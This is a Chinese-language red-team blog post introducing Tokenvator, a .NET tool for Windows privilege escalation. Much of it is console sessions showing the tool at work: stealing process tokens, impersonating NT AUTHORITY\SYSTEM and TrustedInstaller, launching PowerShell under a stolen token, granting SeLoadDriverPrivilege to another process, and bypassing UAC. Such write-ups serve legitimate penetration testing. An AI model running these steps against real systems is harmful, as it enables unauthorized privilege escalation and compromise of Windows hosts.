导语:本文将为读者介绍如何利用Tokenvator实现权限提升。

WheresMyImplant是我去年利用.NET开发的一个小型红队工具箱。在这个工具包开发和使用的过程中,我发现,总是需要不断改变自己进程的访问令牌,例如需要执行SYSTEM权限的操作,或为进程添加调试权限的时候,等等。鉴于此,我专门创建了Tokenvator程序,这是一款利用.NET编写的简单工具,可用于在Windows上提升权限。它通过模拟或修改正在执行的进程中具有适当权限级别的身份验证令牌来工作。

Tokenvator可以从https://github.com/0xbadjuju/Tokenvator下载,编译说明可以在页面底部找到。

基本用法

Tokenvator可以在交互模式和参数模式下运行。在交互模式下,基本命令可以通过tab键自动补全,如果按两次tab键,就会根据上下文提供特定的帮助信息。

C:\Users\badjuju>Tokenvator.exe
(Tokens) > help
Name                     Optional            Required
----                     --------            --------
GetSystem                Command             -
GetTrustedInstaller      Command             -
Steal_Token              Command             ProcessID
BypassUAC                ProcessID           Command
List_Privileges          ProcessID           -
Set_Privilege            ProcessID           Privilege
List_Processes           -                   -
List_Processes_WMI       -                   -
Find_User_Processes      -                   User
Find_User_Processes_WMI  -                   User
List_User_Sessions       -                   -
WhoAmI                   -                   -
RevertToSelf             -                   -
Run                      -                   Command
 
(Tokens) > WhoAmI
Name                     Optional            Required
----                     --------            --------
WhoAmI                   -                   -
 
(Tokens) > WhoAmI
[*] Operating as LAB\badjuju

虽然大多示例都是在交互模式下运行的,但实际上,所有命令都可以在参数模式下运行。

1.png

Steal_Token

Tokenvator最基本的用法是访问和操作Windows身份验证令牌。为了窃取另一个进程的令牌,我们可以运行Steal_Token命令,同时指定目标进程的PID。

(Tokens) > Steal_Token
Name                     Optional            Required
----                     --------            --------
Steal_Token              Command             ProcessID
 
(Tokens) > Steal_Token 7384
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Impersonating 7384
[+] Recieved Handle for:  (7384)
[+] Process Handle: 824
[+] Primary Token Handle: 828
[+] Duplicate Token Handle: 824
 
(Tokens) > whoami
[*] Operating as lab\backup

我们还可以添加一个要运行的命令,该命令将使用新的访问令牌启动。

(Tokens) > Steal_Token 7384 powershell.exe
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[+] Recieved Handle for:  (7384)
[+] Process Handle: 860
[+] Primary Token Handle: 864
[+] Duplicate Token Handle: 860
[*] CreateProcessWithTokenW
[+] Created process: 14524
[+] Created thread: 18784
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
 
PS C:\WINDOWS\system32> whoami
lab\backup
PS C:\WINDOWS\system32> $pid
14524

GetSystem

在窃取令牌的时候,最常见的目标就是NT AUTHORITY\SYSTEM帐户。GetSystem命令是Steal_Token命令的包装器,用于自动查找和访问SYSTEM令牌。该命令的用法与Steal_Token相同。注意:这个命令有时候需要从提权后的上下文中运行。

(Tokens) > GetSystem
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Searching for NT AUTHORITY\SYSTEM
[*] Examining 344 processes
[*] Discovered 118 processes
[*] Impersonating 5488
[+] Recieved Handle for:  (5488)
[+] Process Handle: 888
[*] Impersonating 4444
[+] Recieved Handle for:  (4444)
[+] Process Handle: 868
[+] Primary Token Handle: 904
[+] Duplicate Token Handle: 868
 
(Tokens) > WhoAmI
[*] Operating as NT AUTHORITY\SYSTEM
 
(Tokens) > RevertToSelf
[*] Reverted token to lab\badjuju

1.png

我发现,除非首先将权限提升到到SYSTEM,否则无法访问某些进程的令牌。例如,访问NT SERVICE帐户下的本地SQL服务进程就是这种情况。如果本地SYSTEM帐户在数据库上没有SYSADMIN权限,则必须先进行相应的提权。Scott Sutherland在这篇博客中对这一点进行了详细的阐述。

1.png

GetTrustedInstaller

SYSTEM32文件夹中的文件或某些注册表通常隶属于TRUSTEDINSTALLER组。要想操作这些位置的内容,我们要么拥有相应的所有权,要么设法获取TRUSTEDINSTALLER组成员的访问令牌。与GetSystem类似,GetTrustedInstaller也是一个Steal_Token的封装函数,用于启动TrustedInstaller服务并窃取其令牌。

1.png

List_Privileges和Set_Privilege

有时,我们的进程并不具备完成某些任务所需的特定访问权限。例如,要访问不隶属于当前用户的进程,则需要SeDebugPrivilege权限。下面显示的是高完整性进程中的拆分令牌的权限(UAC Elevated – TokenElevationTypeFull)

1.png

在这里,我们可以看到在中等完整性进程中分配给拆分令牌的默认特权(UAC Not Elevated – TokenElevationTypeLimited)

1.png

对于这个功能,不仅可以观察自己的进程。下面,让我们来看看当以管理员身份运行时,看到的notepad.exe的令牌是啥情况。注意:为了访问不属于当前用户的进程,必须为当前进程启用SeDebugPrivilege权限。

1.png

实际上,我们不仅可以考察notepad.exe的令牌,甚至可以远程更改它的权限。现在,让我们将SeLoadDriverPrivilege添加到该令牌上,并查看会发生什么情况。注意:特权名称是区分大小写的。

1.png

现在,notepad.exe已经可以加载驱动程序,这种功能在许多场景下都是非常有用的。在将来,我们还会添加删除权限的功能。

1.png

BypassUAC

当前,UAC绕过的方法可谓五花八门,其中比较有趣的一种方法是通过操纵令牌实现的。在使用Windows令牌绕过UAC方面,FuzzySecurity做了一些非常有趣的工作。实际上,Tokenvator采用的UAC绕过的方法的思路,就来自于他。下面,我们的非特权令牌可以用来访问一个隶属于当前用户的、经过提权的进程,并创建一个提权后的shell。

1.png

虽然这种方法在将来一段时间内可能长期有效,但它也有自身的局限性。从下面可以看出,虽然进程具有高度完整性,但分配给令牌的权限仍然非常有限。

查找用户进程

在系统上查找用户的方法有很多。比如,我们可以查看系统上注册的会话。

(Tokens) > List_User_Sessions
User                          SessionID
----                          ---------
0
badjuju                       1
backup                        2

我一直想要的一个特性,是能够对用户进程进行汇总,从而了解当前有哪些用户以及他们拥有哪些进程,这正是list_process命令的设计初衷。

(Tokens) > List_Processes
User                                    Process ID          Process Name
----                                    ----------          ------------
lab\badjuju                             4000                conhost

List_Processes能够利用主机上的本地API快速汇总系统中的进程及其所有者。到目前为止,除非从较高权限的上下文中运行,否则无法正常工作。因此,该程序引入了List_Processes_WMI。从名字就能猜出,它是通过WMI进行操作的。虽然没有List_Processes那么快,但List_Processes_WMI可以从特权的上下文中提供更全面的信息。

(Tokens) > List_Processes_WMI
[*] Examining 102 processes
User                                    Process ID          Process Name
----                                    ----------          ------------
\                                       0                   Idle
LAB\BADJUJU                             448                 taskhost
LOCAL\0XBADJUJU                         1568                cmd

此外,我们可以轮询系统以查找在特定用户的上下文中运行的全部进程。注意:需要提供完整的用户名。

(Tokens) > Find_User_Processes WINDOWS7ENTERPR\BADJUJU
[*] Examining 100 processes
[*] Discovered 29 processes
Process ID                    Process Name
----------                    ------------
3268                          calc
3520                          cmd
2604                          cmd
4000                          conhost
4664                          conhost
920                           conhost
1972                          conhost
4928                          conhost
2760                          conhost
656                           dwm
1776                          explorer
5048                          msvsmon
5352                          msvsmon
3412                          notepad
3552                          powershell
3116                          powershell_ise
2464                          rdpclip
4820                          rundotnetdll32
3944                          taskhost
448                           taskhost
3424                          Tokenvator
4892                          VCSExpress

List_Processes_WMI的运行机制与List_Processes类似,只不过是通过WMI完成而已。同时,它也不要求在具有特权的上下文中工作。

(Tokens) > Find_User_Processes_WMI LOCAL\0xBADJUJU
[*] Examining 102 processes
[*] Discovered 31 processes
Process ID                    Process Name
----------                    ------------
1568                          cmd.exe
2108                          conhost.exe
1936                          procexp64.exe
3544                          cmd.exe
3608                          conhost.exe
3892                          x64dbg.exe

虽然这个程序的设计初衷,只是供自己和我们的团队使用,但是,我仍然希望它能够对其他人带来帮助。如果您在使用过程中发现了任何错误或者希望添加某些特性的话,欢迎通知我们,我们将感激不尽。

源链接

Hacking more

...